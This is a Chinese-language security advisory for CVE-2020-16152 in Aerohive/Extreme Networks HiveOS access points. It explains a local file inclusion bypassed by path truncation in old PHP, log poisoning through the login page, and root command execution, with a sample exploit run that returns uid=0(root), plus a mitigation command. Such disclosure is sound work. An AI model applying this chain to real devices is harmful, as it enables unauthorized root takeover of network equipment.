
| 产品厂商 | Aerohive Networks / Extreme Networks |
| 产品名称 | HiveOS / IQ Engine |
| 产品版本 | 已在 10.0r8a build-242466 及更早版本上测试 |
Aerohive/Extreme Networks HiveOS 管理 Web 界面(NetConfig)存在本地文件包含(LFI)漏洞,因为它使用了易受字符串截断攻击的旧版 PHP。攻击者能够结合日志投毒,在易受攻击的接入点上获取 root 权限。
作为临时解决方案,可以使用以下命令禁用 Web 界面以防范此漏洞:no system web-server hive-UI enable
用于调用 action/AhBaseAction.class.php5 的 _page 参数(由 URL /action.php5 引用)用于动态加载一个 PHP 类,该类用于页面处理,如下方代码片段所示($pageName 取自 $_POST['_page']):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
如我们所见,该文件名没有前缀,因此可以遍历路径到任意文件。但由于存在后缀,无法直接包含任意文件。由于接入点上运行的 PHP 版本相当老旧,我们实际上可以绕过这一限制(更多信息):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
通过用足够多的 / 字符填充路径,我们可以确保 Access.class.php5 后缀被完全截断,从而自由包含任意文件。
由于失败的登录尝试会记录到 /tmp/messages,并且包含提交的用户名,我们可以利用登录页面污染 /tmp/messages,然后通过上述 LFI 攻击从中执行代码。
尽管 Web 服务器本身以低权限用户运行,但 hiawatha 使用的 php-cgi 实例实际上是以 root 身份运行的,这意味着所有 PHP 代码都以 root 权限执行:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)